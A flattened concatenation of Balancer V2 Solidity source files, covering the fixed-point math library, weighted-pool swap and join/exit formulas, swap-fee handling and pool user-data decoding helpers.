import "./IAuthorizer.sol";
interface IProtocolFeesCollector {
event SwapFeePercentageChanged(uint256 newSwapFeePercentage);
event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage);
function withdrawCollectedFees(
IERC20[] calldata tokens,
uint256[] calldata amounts,
address recipient
) external;
function setSwapFeePercentage(uint256 newSwapFeePercentage) external;
function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external;
function getSwapFeePercentage() external view returns (uint256);
function getFlashLoanFeePercentage() external view returns (uint256);
function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts);
function getAuthorizer() external view returns (IAuthorizer);
function vault() external view returns (IVault);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "./IVault.sol";
interface IPoolSwapStructs {
// This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and
// IMinimalSwapInfoPool.
//
// This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or
// 'given out') which indicates whether or not the amount sent by the pool is known.
//
// The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take
// in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`.
//
// All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in
// some Pools.
//
// `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than
// one Pool.
//
// The meaning of `lastChangeBlock` depends on the Pool specialization:
// - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total
// balance.
// - General: the last block in which *any* of the Pool's registered tokens changed its total balance.
//
// `from` is the origin address for the funds the Pool receives, and `to` is the destination address
// where the Pool sends the outgoing tokens.
//
// `userData` is extra data provided by the caller - typically a signature from a trusted party.
struct SwapRequest {
IVault.SwapKind kind;
IERC20 tokenIn;
IERC20 tokenOut;
uint256 amount;
// Misc data
bytes32 poolId;
uint256 lastChangeBlock;
address from;
address to;
bytes userData;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./LogExpMath.sol";
import "../helpers/BalancerErrors.sol";
/* solhint-disable private-vars-leading-underscore */
library FixedPoint {
uint256 internal constant ONE = 1e18; // 18 decimal places
uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14)
// Minimum base for the power function when the exponent is 'free' (larger than ONE).
uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18;
function add(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
return product / ONE;
}
function mulUp(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
if (product == 0) {
return 0;
} else {
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((product - 1) / ONE) + 1;
}
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
return aInflated / b;
}
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((aInflated - 1) / b) + 1;
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above
* the true value (that is, the error function expected - actual is always positive).
*/
function powDown(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
if (raw < maxError) {
return 0;
} else {
return sub(raw, maxError);
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below
* the true value (that is, the error function expected - actual is always negative).
*/
function powUp(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
return add(raw, maxError);
}
/**
* @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1.
*
* Useful when computing the complement for values with some level of relative error, as it strips this error and
* prevents intermediate negative values.
*/
function complement(uint256 x) internal pure returns (uint256) {
return (x < ONE) ? (ONE - x) : 0;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
import "./BalancerErrors.sol";
library InputHelpers {
function ensureInputLengthMatch(uint256 a, uint256 b) internal pure {
_require(a == b, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureInputLengthMatch(
uint256 a,
uint256 b,
uint256 c
) internal pure {
_require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureArrayIsSorted(IERC20[] memory array) internal pure {
address[] memory addressArray;
// solhint-disable-next-line no-inline-assembly
assembly {
addressArray := array
}
ensureArrayIsSorted(addressArray);
}
function ensureArrayIsSorted(address[] memory array) internal pure {
if (array.length < 2) {
return;
}
address previous = array[0];
for (uint256 i = 1; i < array.length; ++i) {
address current = array[i];
_require(previous < current, Errors.UNSORTED_ARRAY);
previous = current;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./BasePool.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IMinimalSwapInfoPool.sol";
/**
* @dev Extension of `BasePool`, adding a handler for `IMinimalSwapInfoPool.onSwap`.
*
* Derived contracts must call `BasePool`'s constructor, and implement `_onSwapGivenIn` and `_onSwapGivenOut` along with
* `BasePool`'s virtual functions. Inheriting from this contract lets derived contracts choose the Two Token or Minimal
* Swap Info specialization settings.
*/
abstract contract BaseMinimalSwapInfoPool is IMinimalSwapInfoPool, BasePool {
// Swap Hooks
function onSwap(
SwapRequest memory request,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) public virtual override onlyVault(request.poolId) returns (uint256) {
uint256 scalingFactorTokenIn = _scalingFactor(request.tokenIn);
uint256 scalingFactorTokenOut = _scalingFactor(request.tokenOut);
if (request.kind == IVault.SwapKind.GIVEN_IN) {
// Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis.
uint256 amountInMinusSwapFees = _subtractSwapFeeAmount(request.amount);
// Process the (upscaled!) swap fee.
uint256 swapFee = request.amount - amountInMinusSwapFees;
_processSwapFeeAmount(request.tokenIn, _upscale(swapFee, scalingFactorTokenIn));
request.amount = amountInMinusSwapFees;
// All token amounts are upscaled.
balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn);
balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut);
request.amount = _upscale(request.amount, scalingFactorTokenIn);
uint256 amountOut = _onSwapGivenIn(request, balanceTokenIn, balanceTokenOut);
// amountOut tokens are exiting the Pool, so we round down.
return _downscaleDown(amountOut, scalingFactorTokenOut);
} else {
// All token amounts are upscaled.
balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn);
balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut);
request.amount = _upscale(request.amount, scalingFactorTokenOut);
uint256 amountIn = _onSwapGivenOut(request, balanceTokenIn, balanceTokenOut);
// amountIn tokens are entering the Pool, so we round up.
amountIn = _downscaleUp(amountIn, scalingFactorTokenIn);
// Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis.
uint256 amountInPlusSwapFees = _addSwapFeeAmount(amountIn);
// Process the (upscaled!) swap fee.
uint256 swapFee = amountInPlusSwapFees - amountIn;
_processSwapFeeAmount(request.tokenIn, _upscale(swapFee, scalingFactorTokenIn));
return amountInPlusSwapFees;
}
}
/*
* @dev Called when a swap with the Pool occurs, where the amount of tokens entering the Pool is known.
*
* Returns the amount of tokens that will be taken from the Pool in return.
*
* All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. The swap fee has already
* been deducted from `swapRequest.amount`.
*
* The return value is also considered upscaled, and will be downscaled (rounding down) before returning it to the
* Vault.
*/
function _onSwapGivenIn(
SwapRequest memory swapRequest,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) internal virtual returns (uint256);
/*
* @dev Called when a swap with the Pool occurs, where the amount of tokens exiting the Pool is known.
*
* Returns the amount of tokens that will be granted to the Pool in return.
*
* All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled.
*
* The return value is also considered upscaled, and will be downscaled (rounding up) before applying the swap fee
* and returning it to the Vault.
*/
function _onSwapGivenOut(
SwapRequest memory swapRequest,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) internal virtual returns (uint256);
/**
* @dev Called whenever a swap fee is charged. Implementations should call their parents via super, to ensure all
* implementations in the inheritance tree are called.
*
* Callers must call one of the three `_processSwapFeeAmount` functions when swap fees are computed,
* and upscale `amount`.
*/
function _processSwapFeeAmount(
uint256, /*index*/
uint256 /*amount*/
) internal virtual {
// solhint-disable-previous-line no-empty-blocks
}
function _processSwapFeeAmount(IERC20 token, uint256 amount) internal {
_processSwapFeeAmount(_tokenAddressToIndex(token), amount);
}
function _processSwapFeeAmounts(uint256[] memory amounts) internal {
InputHelpers.ensureInputLengthMatch(amounts.length, _getTotalTokens());
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
_processSwapFeeAmount(i, amounts[i]);
}
}
/**
* @dev Returns the index of `token` in the Pool's token array (i.e. the one `vault.getPoolTokens()` would return).
*
* A trivial (and incorrect!) implementation is already provided for Pools that don't override
* `_processSwapFeeAmount` and skip the entire feature. However, Pools that do override `_processSwapFeeAmount`
* *must* override this function with a meaningful implementation.
*/
function _tokenAddressToIndex(
IERC20 /*token*/
) internal view virtual returns (uint256) {
return 0;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol";
// These functions start with an underscore, as if they were part of a contract and not a library. At some point this
// should be fixed.
// solhint-disable private-vars-leading-underscore
library WeightedMath {
using FixedPoint for uint256;
// A minimum normalized weight imposes a maximum weight ratio. We need this due to limitations in the
// implementation of the power function, as these ratios are often exponents.
uint256 internal constant _MIN_WEIGHT = 0.01e18;
// Having a minimum normalized weight imposes a limit on the maximum number of tokens;
// i.e., the largest possible pool is one where all tokens have exactly the minimum weight.
uint256 internal constant _MAX_WEIGHTED_TOKENS = 100;
// Pool limits that arise from limitations in the fixed point power function (and the imposed 1:100 maximum weight
// ratio).
// Swap limits: amounts swapped may not be larger than this percentage of total balance.
uint256 internal constant _MAX_IN_RATIO = 0.3e18;
uint256 internal constant _MAX_OUT_RATIO = 0.3e18;
// Invariant growth limit: non-proportional joins cannot cause the invariant to increase by more than this ratio.
uint256 internal constant _MAX_INVARIANT_RATIO = 3e18;
// Invariant shrink limit: non-proportional exits cannot cause the invariant to decrease by less than this ratio.
uint256 internal constant _MIN_INVARIANT_RATIO = 0.7e18;
// About swap fees on joins and exits:
// Any join or exit that is not perfectly balanced (e.g. all single token joins or exits) is mathematically
// equivalent to a perfectly balanced join or exit followed by a series of swaps. Since these swaps would charge
// swap fees, it follows that (some) joins and exits should as well.
// On these operations, we split the token amounts in 'taxable' and 'non-taxable' portions, where the 'taxable' part
// is the one to which swap fees are applied.
// Invariant is used to collect protocol swap fees by comparing its value between two times.
// So we can round always to the same direction. It is also used to initiate the BPT amount
// and, because there is a minimum BPT, we round down the invariant.
function _calculateInvariant(uint256[] memory normalizedWeights, uint256[] memory balances)
internal
pure
returns (uint256 invariant)
{
/**********************************************************************************************
// invariant _____ //
// wi = weight index i | | wi //
// bi = balance index i | | bi ^ = i //
// i = invariant //
**********************************************************************************************/
invariant = FixedPoint.ONE;
for (uint256 i = 0; i < normalizedWeights.length; i++) {
invariant = invariant.mulDown(balances[i].powDown(normalizedWeights[i]));
}
_require(invariant > 0, Errors.ZERO_INVARIANT);
}
// Computes how many tokens can be taken out of a pool if `amountIn` are sent, given the
// current balances and weights.
function _calcOutGivenIn(
uint256 balanceIn,
uint256 weightIn,
uint256 balanceOut,
uint256 weightOut,
uint256 amountIn
) internal pure returns (uint256) {
/**********************************************************************************************
// outGivenIn //
// aO = amountOut //
// bO = balanceOut //
// bI = balanceIn / / bI \ (wI / wO) \ //
// aI = amountIn aO = bO * | 1 - | -------------------------- | ^ | //
// wI = weightIn \ \ ( bI + aI ) / / //
// wO = weightOut //
**********************************************************************************************/
// Amount out, so we round down overall.
// The multiplication rounds down, and the subtrahend (power) rounds up (so the base rounds up too).
// Because bI / (bI + aI) <= 1, the exponent rounds down.
// Cannot exceed maximum in ratio
_require(amountIn <= balanceIn.mulDown(_MAX_IN_RATIO), Errors.MAX_IN_RATIO);
uint256 denominator = balanceIn.add(amountIn);
uint256 base = balanceIn.divUp(denominator);
uint256 exponent = weightIn.divDown(weightOut);
uint256 power = base.powUp(exponent);
return balanceOut.mulDown(power.complement());
}
// Computes how many tokens must be sent to a pool in order to take `amountOut`, given the
// current balances and weights.
function _calcInGivenOut(
uint256 balanceIn,
uint256 weightIn,
uint256 balanceOut,
uint256 weightOut,
uint256 amountOut
) internal pure returns (uint256) {
/**********************************************************************************************
// inGivenOut //
// aO = amountOut //
// bO = balanceOut //
// bI = balanceIn / / bO \ (wO / wI) \ //
// aI = amountIn aI = bI * | | -------------------------- | ^ - 1 | //
// wI = weightIn \ \ ( bO - aO ) / / //
// wO = weightOut //
**********************************************************************************************/
// Amount in, so we round up overall.
// The multiplication rounds up, and the power rounds up (so the base rounds up too).
// Because b0 / (b0 - a0) >= 1, the exponent rounds up.
// Cannot exceed maximum out ratio
_require(amountOut <= balanceOut.mulDown(_MAX_OUT_RATIO), Errors.MAX_OUT_RATIO);
uint256 base = balanceOut.divUp(balanceOut.sub(amountOut));
uint256 exponent = weightOut.divUp(weightIn);
uint256 power = base.powUp(exponent);
// Because the base is larger than one (and the power rounds up), the power should always be larger than one, so
// the following subtraction should never revert.
uint256 ratio = power.sub(FixedPoint.ONE);
return balanceIn.mulUp(ratio);
}
function _calcBptOutGivenExactTokensIn(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory amountsIn,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256, uint256[] memory) {
// BPT out, so we round down overall.
uint256[] memory balanceRatiosWithFee = new uint256[](amountsIn.length);
uint256 invariantRatioWithFees = 0;
for (uint256 i = 0; i < balances.length; i++) {
balanceRatiosWithFee[i] = balances[i].add(amountsIn[i]).divDown(balances[i]);
invariantRatioWithFees = invariantRatioWithFees.add(balanceRatiosWithFee[i].mulDown(normalizedWeights[i]));
}
(uint256 invariantRatio, uint256[] memory swapFees) = _computeJoinExactTokensInInvariantRatio(
balances,
normalizedWeights,
amountsIn,
balanceRatiosWithFee,
invariantRatioWithFees,
swapFeePercentage
);
uint256 bptOut = (invariantRatio > FixedPoint.ONE)
? bptTotalSupply.mulDown(invariantRatio.sub(FixedPoint.ONE))
: 0;
return (bptOut, swapFees);
}
/**
* @dev Intermediate function to avoid stack-too-deep errors.
*/
function _computeJoinExactTokensInInvariantRatio(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory amountsIn,
uint256[] memory balanceRatiosWithFee,
uint256 invariantRatioWithFees,
uint256 swapFeePercentage
) private pure returns (uint256 invariantRatio, uint256[] memory swapFees) {
// Swap fees are charged on all tokens that are being added in a larger proportion than the overall invariant
// increase.
swapFees = new uint256[](amountsIn.length);
invariantRatio = FixedPoint.ONE;
for (uint256 i = 0; i < balances.length; i++) {
uint256 amountInWithoutFee;
if (balanceRatiosWithFee[i] > invariantRatioWithFees) {
uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithFees.sub(FixedPoint.ONE));
uint256 taxableAmount = amountsIn[i].sub(nonTaxableAmount);
uint256 swapFee = taxableAmount.mulUp(swapFeePercentage);
amountInWithoutFee = nonTaxableAmount.add(taxableAmount.sub(swapFee));
swapFees[i] = swapFee;
} else {
amountInWithoutFee = amountsIn[i];
}
uint256 balanceRatio = balances[i].add(amountInWithoutFee).divDown(balances[i]);
invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i]));
}
}
function _calcTokenInGivenExactBptOut(
uint256 balance,
uint256 normalizedWeight,
uint256 bptAmountOut,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256 amountIn, uint256 swapFee) {
/******************************************************************************************
// tokenInForExactBPTOut //
// a = amountIn //
// b = balance / / totalBPT + bptOut \ (1 / w) \ //
// bptOut = bptAmountOut a = b * | | -------------------------- | ^ - 1 | //
// bpt = totalBPT \ \ totalBPT / / //
// w = weight //
******************************************************************************************/
// Token in, so we round up overall.
// Calculate the factor by which the invariant will increase after minting BPTAmountOut
uint256 invariantRatio = bptTotalSupply.add(bptAmountOut).divUp(bptTotalSupply);
_require(invariantRatio <= _MAX_INVARIANT_RATIO, Errors.MAX_OUT_BPT_FOR_TOKEN_IN);
// Calculate by how much the token balance has to increase to match the invariantRatio
uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divUp(normalizedWeight));
uint256 amountInWithoutFee = balance.mulUp(balanceRatio.sub(FixedPoint.ONE));
// We can now compute how much extra balance is being deposited and used in virtual swaps, and charge swap fees
// accordingly.
uint256 taxablePercentage = normalizedWeight.complement();
uint256 taxableAmount = amountInWithoutFee.mulUp(taxablePercentage);
uint256 nonTaxableAmount = amountInWithoutFee.sub(taxableAmount);
uint256 taxableAmountPlusFees = taxableAmount.divUp(FixedPoint.ONE.sub(swapFeePercentage));
swapFee = taxableAmountPlusFees - taxableAmount;
amountIn = nonTaxableAmount.add(taxableAmountPlusFees);
}
function _calcAllTokensInGivenExactBptOut(
uint256[] memory balances,
uint256 bptAmountOut,
uint256 totalBPT
) internal pure returns (uint256[] memory) {
/************************************************************************************
// tokensInForExactBptOut //
// (per token) //
// aI = amountIn / bptOut \ //
// b = balance aI = b * | ------------ | //
// bptOut = bptAmountOut \ totalBPT / //
// bpt = totalBPT //
************************************************************************************/
// Tokens in, so we round up overall.
uint256 bptRatio = bptAmountOut.divUp(totalBPT);
uint256[] memory amountsIn = new uint256[](balances.length);
for (uint256 i = 0; i < balances.length; i++) {
amountsIn[i] = balances[i].mulUp(bptRatio);
}
return amountsIn;
}
function _calcBptInGivenExactTokensOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory amountsOut,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256, uint256[] memory) {
// BPT in, so we round up overall.
uint256[] memory balanceRatiosWithoutFee = new uint256[](amountsOut.length);
uint256 invariantRatioWithoutFees = 0;
for (uint256 i = 0; i < balances.length; i++) {
balanceRatiosWithoutFee[i] = balances[i].sub(amountsOut[i]).divUp(balances[i]);
invariantRatioWithoutFees = invariantRatioWithoutFees.add(
balanceRatiosWithoutFee[i].mulUp(normalizedWeights[i])
);
}
(uint256 invariantRatio, uint256[] memory swapFees) = _computeExitExactTokensOutInvariantRatio(
balances,
normalizedWeights,
amountsOut,
balanceRatiosWithoutFee,
invariantRatioWithoutFees,
swapFeePercentage
);
uint256 bptIn = bptTotalSupply.mulUp(invariantRatio.complement());
return (bptIn, swapFees);
}
/**
* @dev Intermediate function to avoid stack-too-deep errors.
*/
function _computeExitExactTokensOutInvariantRatio(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory amountsOut,
uint256[] memory balanceRatiosWithoutFee,
uint256 invariantRatioWithoutFees,
uint256 swapFeePercentage
) private pure returns (uint256 invariantRatio, uint256[] memory swapFees) {
swapFees = new uint256[](amountsOut.length);
invariantRatio = FixedPoint.ONE;
for (uint256 i = 0; i < balances.length; i++) {
// Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it to
// 'token out'. This results in slightly larger price impact.
uint256 amountOutWithFee;
if (invariantRatioWithoutFees > balanceRatiosWithoutFee[i]) {
uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithoutFees.complement());
uint256 taxableAmount = amountsOut[i].sub(nonTaxableAmount);
uint256 taxableAmountPlusFees = taxableAmount.divUp(FixedPoint.ONE.sub(swapFeePercentage));
swapFees[i] = taxableAmountPlusFees - taxableAmount;
amountOutWithFee = nonTaxableAmount.add(taxableAmountPlusFees);
} else {
amountOutWithFee = amountsOut[i];
}
uint256 balanceRatio = balances[i].sub(amountOutWithFee).divDown(balances[i]);
invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i]));
}
}
function _calcTokenOutGivenExactBptIn(
uint256 balance,
uint256 normalizedWeight,
uint256 bptAmountIn,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256 amountOut, uint256 swapFee) {
/*****************************************************************************************
// exactBPTInForTokenOut //
// a = amountOut //
// b = balance / / totalBPT - bptIn \ (1 / w) \ //
// bptIn = bptAmountIn a = b * | 1 - | -------------------------- | ^ | //
// bpt = totalBPT \ \ totalBPT / / //
// w = weight //
*****************************************************************************************/
// Token out, so we round down overall. The multiplication rounds down, but the power rounds up (so the base
// rounds up). Because (totalBPT - bptIn) / totalBPT <= 1, the exponent rounds down.
// Calculate the factor by which the invariant will decrease after burning BPTAmountIn
uint256 invariantRatio = bptTotalSupply.sub(bptAmountIn).divUp(bptTotalSupply);
_require(invariantRatio >= _MIN_INVARIANT_RATIO, Errors.MIN_BPT_IN_FOR_TOKEN_OUT);
// Calculate by how much the token balance has to decrease to match invariantRatio
uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divDown(normalizedWeight));
// Because of rounding up, balanceRatio can be greater than one. Using complement prevents reverts.
uint256 amountOutWithoutFee = balance.mulDown(balanceRatio.complement());
// We can now compute how much excess balance is being withdrawn as a result of the virtual swaps, which result
// in swap fees.
uint256 taxablePercentage = normalizedWeight.complement();
// Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it
// to 'token out'. This results in slightly larger price impact. Fees are rounded up.
uint256 taxableAmount = amountOutWithoutFee.mulUp(taxablePercentage);
uint256 nonTaxableAmount = amountOutWithoutFee.sub(taxableAmount);
swapFee = taxableAmount.mulUp(swapFeePercentage);
amountOut = nonTaxableAmount.add(taxableAmount.sub(swapFee));
}
function _calcTokensOutGivenExactBptIn(
uint256[] memory balances,
uint256 bptAmountIn,
uint256 totalBPT
) internal pure returns (uint256[] memory) {
/**********************************************************************************************
// exactBPTInForTokensOut //
// (per token) //
// aO = amountOut / bptIn \ //
// b = balance a0 = b * | --------------------- | //
// bptIn = bptAmountIn \ totalBPT / //
// bpt = totalBPT //
**********************************************************************************************/
// Since we're computing an amount out, we round down overall. This means rounding down on both the
// multiplication and division.
uint256 bptRatio = bptAmountIn.divDown(totalBPT);
uint256[] memory amountsOut = new uint256[](balances.length);
for (uint256 i = 0; i < balances.length; i++) {
amountsOut[i] = balances[i].mulDown(bptRatio);
}
return amountsOut;
}
function _calcDueTokenProtocolSwapFeeAmount(
uint256 balance,
uint256 normalizedWeight,
uint256 previousInvariant,
uint256 currentInvariant,
uint256 protocolSwapFeePercentage
) internal pure returns (uint256) {
/*********************************************************************************
/* protocolSwapFeePercentage * balanceToken * ( 1 - (previousInvariant / currentInvariant) ^ (1 / weightToken))
*********************************************************************************/
if (currentInvariant <= previousInvariant) {
// This shouldn't happen outside of rounding errors, but have this safeguard nonetheless to prevent the Pool
// from entering a locked state in which joins and exits revert while computing accumulated swap fees.
return 0;
}
// We round down to prevent issues in the Pool's accounting, even if it means paying slightly less in protocol
// fees to the Vault.
// Fee percentage and balance multiplications round down, while the subtrahend (power) rounds up (as does the
// base). Because previousInvariant / currentInvariant <= 1, the exponent rounds down.
uint256 base = previousInvariant.divUp(currentInvariant);
uint256 exponent = FixedPoint.ONE.divDown(normalizedWeight);
// Because the exponent is larger than one, the base of the power function has a lower bound. We cap to this
// value to avoid numeric issues, which means in the extreme case (where the invariant growth is larger than
// 1 / min exponent) the Pool will pay less in protocol fees than it should.
base = Math.max(base, FixedPoint.MIN_POW_BASE_FREE_EXPONENT);
uint256 power = base.powUp(exponent);
uint256 tokenAccruedFees = balance.mulDown(power.complement());
return tokenAccruedFees.mulDown(protocolSwapFeePercentage);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "./BaseWeightedPool.sol";
library WeightedPoolUserDataHelpers {
function joinKind(bytes memory self) internal pure returns (BaseWeightedPool.JoinKind) {
return abi.decode(self, (BaseWeightedPool.JoinKind));
}
function exitKind(bytes memory self) internal pure returns (BaseWeightedPool.ExitKind) {
return abi.decode(self, (BaseWeightedPool.ExitKind));
}
// Joins
function initialAmountsIn(bytes memory self) internal pure returns (uint256[] memory amountsIn) {
(, amountsIn) = abi.decode(self, (BaseWeightedPool.JoinKind, uint256[]));
}
function exactTokensInForBptOut(bytes memory self)
internal
pure
returns (uint256[] memory amountsIn, uint256 minBPTAmountOut)
{
(, amountsIn, minBPTAmountOut) = abi.decode(self, (BaseWeightedPool.JoinKind, uint256[], uint256));
}
function tokenInForExactBptOut(bytes memory self) internal pure returns (uint256 bptAmountOut, uint256 tokenIndex) {
(, bptAmountOut, tokenIndex) = abi.decode(self, (BaseWeightedPool.JoinKind, uint256, uint256));
}
function allTokensInForExactBptOut(bytes memory self) internal pure returns (uint256 bptAmountOut) {
(, bptAmountOut) = abi.decode(self, (BaseWeightedPool.JoinKind, uint256));
}
// Exits
function exactBptInForTokenOut(bytes memory self) internal pure returns (uint256 bptAmountIn, uint256 tokenIndex) {
(, bptAmountIn, tokenIndex) = abi.decode(self, (BaseWeightedPool.ExitKind, uint256, uint256));
}
function exactBptInForTokensOut(bytes memory self) internal pure returns (uint256 bptAmountIn) {
(, bptAmountIn) = abi.decode(self, (BaseWeightedPool.ExitKind, uint256));
}
function bptInForExactTokensOut(bytes memory self)
internal
pure
returns (uint256[] memory amountsOut, uint256 maxBPTAmountIn)
{
(, amountsOut, maxBPTAmountIn) = abi.decode(self, (BaseWeightedPool.ExitKind, uint256[], uint256));
}
}
// SPDX-License-Identifier: MIT
